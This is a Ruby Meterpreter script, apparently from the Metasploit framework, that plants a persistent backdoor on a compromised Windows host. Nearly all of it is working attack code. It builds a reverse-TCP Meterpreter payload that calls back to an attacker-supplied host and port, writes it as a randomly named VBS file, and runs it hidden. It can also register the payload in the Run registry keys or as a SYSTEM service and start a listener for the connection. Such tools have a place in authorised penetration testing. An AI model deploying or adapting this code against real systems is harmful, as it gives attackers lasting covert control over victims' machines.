# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

# Meterpreter Session
@client = client

key = "HKLM"

# Default parameters for payload
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
delay = 5
install = false
autoconn = false
serv = false
altexe = nil
target_dir = nil
payload_type = "windows/meterpreter/reverse_tcp"
script = nil
script_on_target = nil


@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "This help menu"],
  "-r"  => [ true,   "The IP of the system running Metasploit listening for the connect back"],
  "-p"  => [ true,   "The port on which the system running Metasploit is listening"],
  "-i"  => [ true,   "The interval in seconds between each connection attempt"],
  "-X"  => [ false,  "Automatically start the agent when the system boots"],
  "-U"  => [ false,  "Automatically start the agent when the User logs on"],
  "-S"  => [ false,  "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
  "-A"  => [ false,  "Automatically start a matching exploit/multi/handler to connect to the agent"],
  "-L"  => [ true,   "Location in target host to write payload to, if none \%TEMP\% will be used."],
  "-T"  => [ true,   "Alternate executable template to use"],
  "-P"  => [ true,   "Payload to use, default is windows/meterpreter/reverse_tcp."]
)

################## Function Declarations ##################

# Usage Message Function
#-------------------------------------------------------------------------------
def usage
  print_line "Meterpreter Script for creating a persistent backdoor on a target host."
  print_line(@exec_opts.usage)
  raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter)
  print_error("#{meter} version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end

# Function for Creating the Payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
  print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
  payload = payload_type
  pay = client.framework.payloads.create(payload)
  pay.datastore['LHOST'] = lhost
  pay.datastore['LPORT'] = lport
  return pay.generate
end

# Function for Creating persistent script
#-------------------------------------------------------------------------------
def create_script(delay,altexe,raw,is_x64)
  if is_x64
    if altexe
      vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
                                            {:persist => true, :delay => delay, :template => altexe})
    else
      vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
                                            {:persist => true, :delay => delay})
    end
  else
    if altexe
      vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
                                            {:persist => true, :delay => delay, :template => altexe})
    else
      vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
                                            {:persist => true, :delay => delay})
    end
  end
  print_status("Persistent agent script is #{vbs.length} bytes long")
  return vbs
end

# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
  #Get hostname
  host = @client.sys.config.sysinfo["Computer"]

  # Create Filename info to be appended to downloaded files
  filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

  # Create a directory for the logs
  if log_path
    logs = ::File.join(log_path, 'logs', 'persistence',
                       Rex::FileUtils.clean_path(host + filenameinfo) )
  else
    logs = ::File.join(Msf::Config.log_directory, 'persistence',
                       Rex::FileUtils.clean_path(host + filenameinfo) )
  end

  # Create the log directory
  ::FileUtils.mkdir_p(logs)

  #logfile name
  logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
  return logfile
end

# Function for writing script to target host
#-------------------------------------------------------------------------------
def write_script_to_target(target_dir,vbs)
  if target_dir
    tempdir = target_dir
  else
    tempdir = @client.fs.file.expand_path("%TEMP%")
  end
  tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
  fd = @client.fs.file.new(tempvbs, "wb")
  fd.write(vbs)
  fd.close
  print_good("Persistent Script written to #{tempvbs}")
  # Escape windows pathname separators.
  file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
  return tempvbs
end

# Function for setting exploit/multi/handler for autocon
#-------------------------------------------------------------------------------
def set_handler(selected_payload,rhost,rport)
  print_status("Starting connection handler at port #{rport} for #{selected_payload}")
  mul = client.framework.exploits.create("multi/handler")
  mul.datastore['WORKSPACE'] = @client.workspace
  mul.datastore['PAYLOAD']   = selected_payload
  mul.datastore['LHOST']     = rhost
  mul.datastore['LPORT']     = rport
  mul.datastore['EXITFUNC']  = 'process'
  mul.datastore['ExitOnSession'] = false

  mul.exploit_simple(
    'Payload'        => mul.datastore['PAYLOAD'],
    'RunAsJob'       => true
  )
  print_good("exploit/multi/handler started!")
end

# Function to execute script on target and return the PID of the process
#-------------------------------------------------------------------------------
def targets_exec(script_on_target)
  print_status("Executing script #{script_on_target}")
  proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
  print_good("Agent executed with PID #{proc.pid}")
  return proc.pid
end

# Function to install payload in to the registry HKLM or HKCU
#-------------------------------------------------------------------------------
def write_to_reg(key,script_on_target)
  nam = Rex::Text.rand_text_alpha(rand(8)+8)
  key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
  print_status("Installing into autorun as #{key_path}\\#{nam}")
  if key
    registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
    print_good("Installed into autorun as #{key_path}\\#{nam}")
    file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
  else
    print_error("Error: failed to open the registry key for writing")
  end
end

# Function to install payload as a service
#-------------------------------------------------------------------------------
def install_as_service(script_on_target)
  if not is_uac_enabled? or is_admin?
    print_status("Installing as service..")
    nam = Rex::Text.rand_text_alpha(rand(8)+8)
    print_status("Creating service #{nam}")
    service_create(nam, nam, "cscript \"#{script_on_target}\"")
    file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
  else
    print_error("Insufficient privileges to create service")
  end
end


################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    usage
  when "-r"
    rhost = val
  when "-p"
    rport = val.to_i
  when "-i"
    delay = val.to_i
  when "-X"
    install = true
    key = "HKLM"
  when "-S"
    serv = true
  when "-U"
    install = true
    key = "HKCU"
  when "-A"
    autoconn = true
  when "-L"
    target_dir = val
  when "-T"
    altexe = val
  when "-P"
    payload_type = val
  end
}

# Check for Version of Meterpreter
unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
  wrong_meter_version(client.session_type)
end

print_status("Running Persistence Script")
# Create undo script
@clean_up_rc = log_file()
print_status("Resource file for cleanup created at #{@clean_up_rc}")
# Create and Upload Payload
raw = create_payload(payload_type, rhost, rport)
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
script_on_target = write_script_to_target(target_dir, script)

# Start exploit/multi/handler
if autoconn
  set_handler(payload_type, rhost, rport)
end

# Execute on target host
targets_exec(script_on_target)

# Install in registry
if install
  write_to_reg(key,script_on_target)
end

# Install as a service
if serv
  install_as_service(script_on_target)
end

